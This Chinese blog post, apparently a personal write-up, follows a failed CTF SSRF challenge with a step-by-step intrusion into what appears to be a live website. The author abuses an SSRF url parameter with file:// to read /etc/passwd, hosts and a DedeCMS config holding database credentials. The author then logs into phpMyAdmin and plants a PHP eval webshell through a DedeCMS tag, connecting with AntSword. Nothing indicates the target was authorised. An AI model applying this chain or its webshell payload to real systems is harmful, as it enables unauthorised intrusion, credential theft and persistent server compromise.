昨天打网鼎杯王八组的比赛,做到一题SSRFME。
做了一下午没做出来(结束之后听说是gopher打redis 然后主从复制写shell),于是让鸡哥带我实战一下。
#0x01
SSRF的成因、危害就不赘述了,SSRF可能产生的地方有
根据特征,这里就找到一个网站通过url来采集xpath
点击加载网页查看加载的接口
这里可以获取到两个参数 ,一个是type另一个是url,去post发包测试一下
分析:
通过url参数可以访问http协议的域名 但如果url参数没做限制 改成其他协议或者内网url的话 有可能就可以加载内网资源,例如读取passwd file:///etc/passwd
在这里发现是可以使用file协议的,那就去读取一下各种文件,例如读取hosts
看到了另一个域名www.a.com,记下来,等下可能有用,还看到了bt.cn,所以服务器用的宝塔部署。继续尝试读取日志获取phpmyadmin路径
得到一个PhpMyAdmin的路径,但最后Nginx配置无法读取,估计是权限不足,然后想一下宝塔的phpmyadmin访问地址构成一般是 域名:888/phpMyAdmin_一串hash,于是访问上图的地址成功打开了phpmyadmin的登陆界面,这下就要思考怎么去拿shell了。
前面从那个hosts里看到了另一个域名,根据指纹判断cms为织梦
老司机都知道织梦的配置文件存在于 /data/common.inc.php,而宝塔的网站路径为 /www/wwwroot/网址/,所以合并路径进行读取:
file:///www/wwwroot/www.a.com/data/common.inc.php
拿到数据库账号密码,通过前面获取的phpmyadmin地址进行登陆,成功进入后台
这里尝试用phpmyadmin日志拿shell跟导出文件拿shell的方法都失败了,百般尝试之后最终通过SQL增加表tag的内容
在normbody字段加 {dede:php}@@eval($_POST[233]);{/dede:php} 然后通过plus/mytag_js.php?aid=20&nocache=1 打开指定aid的广告,再用蚁剑链接即可